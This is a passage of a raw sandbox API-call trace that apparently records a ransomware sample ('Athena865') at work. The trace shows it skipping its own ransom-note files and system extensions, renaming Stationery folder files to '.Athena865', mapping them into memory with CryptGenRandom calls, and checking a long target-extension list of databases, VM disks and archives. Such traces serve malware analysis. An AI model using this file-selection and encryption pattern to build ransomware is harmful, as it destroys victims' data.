files\\common files\\microsoft shared\\stationery\\notebook.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.athena865"), dwFlags=0x1) returned 1 [0116.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.633] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2950) returned 1 [0116.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.634] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.634] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.634] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.635] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe90, lpName=0x0) returned 0x154 [0116.636] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe90) returned 0x100000 [0116.637] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.637] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.637] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.638] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.638] CloseHandle (hObject=0x154) returned 1 [0116.638] CloseHandle (hObject=0x17c) returned 1 [0116.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.639] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0116.639] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.639] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.639] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Orange Circles.htm" | out: lpString1="Orange Circles.htm") returned="Orange Circles.htm" [0116.639] lstrlenW (lpString="Orange Circles.htm") returned 18 [0116.639] lstrlenW (lpString="Athena865") returned 9 [0116.639] lstrcmpiW (lpString1="rcles.htm", lpString2="Athena865") returned 1 [0116.639] lstrlenW (lpString=".dll") returned 4 [0116.639] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".dll") returned 1 [0116.639] lstrlenW (lpString=".lnk") returned 4 [0116.639] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".lnk") returned 1 [0116.639] lstrlenW (lpString=".ini") returned 4 [0116.639] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".ini") returned 1 [0116.639] lstrlenW (lpString=".sys") returned 4 [0116.639] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".sys") returned 1 [0116.639] lstrlenW (lpString="Orange Circles.htm") returned 18 [0116.639] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.Athena865") returned 86 [0116.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.athena865"), dwFlags=0x1) returned 1 [0116.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.640] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=237) returned 1 [0116.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.641] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.641] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.641] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.642] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x154 [0116.643] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000 [0116.644] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.645] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.645] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.647] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0116.647] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.647] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.647] lstrcpyW (in: lpString1=0x241e8bc, lpString2="OrangeCircles.jpg" | out: lpString1="OrangeCircles.jpg") returned="OrangeCircles.jpg" [0116.647] lstrlenW (lpString="OrangeCircles.jpg") returned 17 [0116.647] lstrlenW (lpString="Athena865") returned 9 [0116.647] lstrcmpiW (lpString1="rcles.jpg", lpString2="Athena865") returned 1 [0116.647] lstrlenW (lpString=".dll") returned 4 [0116.647] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".dll") returned 1 [0116.647] lstrlenW (lpString=".lnk") returned 4 [0116.647] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".lnk") returned 1 [0116.647] lstrlenW (lpString=".ini") returned 4 [0116.648] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".ini") returned 1 [0116.648] lstrlenW (lpString=".sys") returned 4 [0116.648] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".sys") returned 1 [0116.648] lstrlenW (lpString="OrangeCircles.jpg") returned 17 [0116.648] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.Athena865") returned 85 [0116.648] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.athena865"), dwFlags=0x1) returned 1 [0116.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.649] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6381) returned 1 [0116.649] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.650] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.650] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.650] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bf0, lpName=0x0) returned 0x154 [0116.651] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bf0) returned 0x100000 [0116.652] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.653] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.653] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.653] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0116.653] lstrcmpiW (lpString1="Peacock.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.653] lstrcmpiW (lpString1="Peacock.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.653] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Peacock.htm" | out: lpString1="Peacock.htm") returned="Peacock.htm" [0116.653] lstrlenW (lpString="Peacock.htm") returned 11 [0116.653] lstrlenW (lpString="Athena865") returned 9 [0116.653] lstrcmpiW (lpString1="acock.htm", lpString2="Athena865") returned -1 [0116.653] lstrlenW (lpString=".dll") returned 4 [0116.653] lstrcmpiW (lpString1="Peacock.htm", lpString2=".dll") returned 1 [0116.654] lstrlenW (lpString=".lnk") returned 4 [0116.654] lstrcmpiW (lpString1="Peacock.htm", lpString2=".lnk") returned 1 [0116.654] lstrlenW (lpString=".ini") returned 4 [0116.654] lstrcmpiW (lpString1="Peacock.htm", lpString2=".ini") returned 1 [0116.654] lstrlenW (lpString=".sys") returned 4 [0116.654] lstrcmpiW (lpString1="Peacock.htm", lpString2=".sys") returned 1 [0116.654] lstrlenW (lpString="Peacock.htm") returned 11 [0116.654] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.Athena865") returned 79 [0116.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.athena865"), dwFlags=0x1) returned 1 [0116.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.655] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=232) returned 1 [0116.655] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.656] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.656] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.656] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x154 [0116.658] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000 [0116.663] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.664] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.664] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.664] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.665] CloseHandle (hObject=0x154) returned 1 [0116.665] CloseHandle (hObject=0x17c) returned 1 [0116.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.665] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0116.665] lstrcmpiW (lpString1="Peacock.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.665] lstrcmpiW (lpString1="Peacock.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.665] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Peacock.jpg" | out: lpString1="Peacock.jpg") returned="Peacock.jpg" [0116.665] lstrlenW (lpString="Peacock.jpg") returned 11 [0116.665] lstrlenW (lpString="Athena865") returned 9 [0116.665] lstrcmpiW (lpString1="acock.jpg", lpString2="Athena865") returned -1 [0116.665] lstrlenW (lpString=".dll") returned 4 [0116.665] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".dll") returned 1 [0116.665] lstrlenW (lpString=".lnk") returned 4 [0116.665] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".lnk") returned 1 [0116.665] lstrlenW (lpString=".ini") returned 4 [0116.665] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".ini") returned 1 [0116.665] lstrlenW (lpString=".sys") returned 4 [0116.666] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".sys") returned 1 [0116.666] lstrlenW (lpString="Peacock.jpg") returned 11 [0116.666] lstrlenW (lpString="bak") returned 3 [0116.666] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1 [0116.666] lstrlenW (lpString="ba_") returned 3 [0116.666] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1 [0116.666] lstrlenW (lpString="dbb") returned 3 [0116.666] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1 [0116.666] lstrlenW (lpString="vmdk") returned 4 [0116.666] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1 [0116.666] lstrlenW (lpString="rar") returned 3 [0116.666] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1 [0116.666] lstrlenW (lpString="zip") returned 3 [0116.666] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1 [0116.666] lstrlenW (lpString="tgz") returned 3 [0116.666] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1 [0116.666] lstrlenW (lpString="vbox") returned 4 [0116.666] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1 [0116.666] lstrlenW (lpString="vdi") returned 3 [0116.666] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1 [0116.666] lstrlenW (lpString="vhd") returned 3 [0116.666] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1 [0116.666] lstrlenW (lpString="vhdx") returned 4 [0116.666] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1 [0116.666] lstrlenW (lpString="avhd") returned 4 [0116.666] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1 [0116.666] lstrlenW (lpString="db") returned 2 [0116.666] lstrcmpiW (lpString1="pg", lpString2="db") returned 1 [0116.666] lstrlenW (lpString="db2") returned 3 [0116.667] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1 [0116.667] lstrlenW (lpString="db3") returned 3 [0116.667] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1 [0116.667] lstrlenW (lpString="dbf") returned 3 [0116.667] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1 [0116.667] lstrlenW (lpString="mdf") returned 3 [0116.667] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1 [0116.667] lstrlenW (lpString="mdb") returned 3 [0116.667] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1 [0116.667] lstrlenW (lpString="sql") returned 3 [0116.667] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1 [0116.667] lstrlenW (lpString="sqlite") returned 6 [0116.667] lstrcmpiW (lpString1="ck.jpg", lpString2="sqlite") returned -1 [0116.667] lstrlenW (lpString="sqlite3") returned 7 [0116.667] lstrcmpiW (lpString1="ock.jpg", lpString2="sqlite3") returned -1 [0116.667] lstrlenW (lpString="sqlitedb") returned 8 [0116.667] lstrcmpiW (lpString1="cock.jpg", lpString2="sqlitedb") returned -1 [0116.667] lstrlenW (lpString="xml") returned 3 [0116.667] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1 [0116.667] lstrlenW (lpString="$er") returned 3 [0116.667] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1 [0116.667] lstrlenW (lpString="4dd") returned 3 [0116.667] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1 [0116.667] lstrlenW (lpString="4dl") returned 3 [0116.667] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1 [0116.667] lstrlenW (lpString="^^^") returned 3 [0116.667] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1 [0116.667] lstrlenW (lpString="abs") returned 3 [0116.667] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1 [0116.668] lstrlenW (lpString="abx") returned 3 [0116.668] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1 [0116.668] lstrlenW (lpString="accdb") returned 5 [0116.668] lstrcmpiW (lpString1="k.jpg", lpString2="accdb") returned 1 [0116.668] lstrlenW (lpString="accdc") returned 5 [0116.668] lstrcmpiW (lpString1="k.jpg", lpString2="accdc") returned 1 [0116.668] lstrlenW (lpString="accde") returned 5 [0116.668] lstrcmpiW (lpString1="k.jpg", lpString2="accde") returned 1 [0116.668] lstrlenW (lpString="accdr") returned 5 [0116.668] lstrcmpiW (lpString1="k.jpg", lpString2="accdr") returned 1 [0116.668] lstrlenW (lpString="accdt") returned 5 [0116.668] lstrcmpiW (lpString1="k.jpg", lpString2="accdt") returned 1 [0116.668] lstrlenW (lpString="accdw") returned 5 [0116.668] lstrcmpiW (lpString1="k.jpg", lpString2="accdw") returned 1 [0116.668] lstrlenW (lpString="accft") returned 5 [0116.668] lstrcmpiW (lpString1="k.jpg", lpString2="accft") returned 1 [0116.668] lstrlenW (lpString="adb") returned 3 [0116.668] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0116.668] lstrlenW (lpString="adb") returned 3 [0116.668] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0116.668] lstrlenW (lpString="ade") returned 3 [0116.668] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1 [0116.668] lstrlenW (lpString="adf") returned 3 [0116.668] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1 [0116.668] lstrlenW (lpString="adn") returned 3 [0116.668] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1 [0116.668] lstrlenW (lpString="adp") returned 3 [0116.668] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1 [0116.668] lstrlenW (lpString="alf") returned 3 [0116.668] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1 [0116.669] lstrlenW (lpString="ask") returned 3 [0116.669] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1 [0116.669] lstrlenW (lpString="btr") returned 3 [0116.669] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1 [0116.669] lstrlenW (lpString="cat") returned 3 [0116.669] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1 [0116.669] lstrlenW (lpString="cdb") returned 3 [0116.669] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1 [0116.669] lstrlenW (lpString="ckp") returned 3 [0116.669] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1 [0116.669] lstrlenW (lpString="cma") returned 3 [0116.669] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1 [0116.669] lstrlenW (lpString="cpd") returned 3 [0116.669] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1 [0116.669] lstrlenW (lpString="dacpac") returned 6 [0116.669] lstrcmpiW (lpString1="ck.jpg", lpString2="dacpac") returned -1 [0116.669] lstrlenW (lpString="dad") returned 3 [0116.669] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1 [0116.669] lstrlenW (lpString="dadiagrams") returned 10 [0116.669] lstrcmpiW (lpString1="eacock.jpg", lpString2="dadiagrams") returned 1 [0116.669] lstrlenW (lpString="daschema") returned 8 [0116.669] lstrcmpiW (lpString1="cock.jpg", lpString2="daschema") returned -1 [0116.669] lstrlenW (lpString="db-journal") returned 10 [0116.669] lstrcmpiW (lpString1="eacock.jpg", lpString2="db-journal") returned 1 [0116.669] lstrlenW (lpString="db-shm") returned 6 [0116.669] lstrcmpiW (lpString1="ck.jpg", lpString2="db-shm") returned -1 [0116.669] lstrlenW (lpString="db-wal") returned 6 [0116.669] lstrcmpiW (lpString1="ck.jpg", lpString2="db-wal") returned -1 [0116.669] lstrlenW (lpString="dbc") returned 3 [0116.669] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1 [0116.669] lstrlenW (lpString="dbs") returned 3 [0116.669] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1 [0116.670] lstrlenW (lpString="dbt") returned 3 [0116.670] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1 [0116.670] lstrlenW (lpString="dbv") returned 3 [0116.670] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1 [0116.670] lstrlenW (lpString="dbx") returned 3 [0116.670] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1 [0116.670] lstrlenW (lpString="dcb") returned 3 [0116.670] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1 [0116.670] lstrlenW (lpString="dct") returned 3 [0116.670] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1 [0116.670] lstrlenW (lpString="dcx") returned 3 [0116.670] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1 [0116.670] lstrlenW (lpString="ddl") returned 3 [0116.670] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1 [0116.670] lstrlenW (lpString="dlis") returned 4 [0116.670] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1 [0116.670] lstrlenW (lpString="dp1") returned 3 [0116.670] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1 [0116.670] lstrlenW (lpString="dqy") returned 3 [0116.670] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1 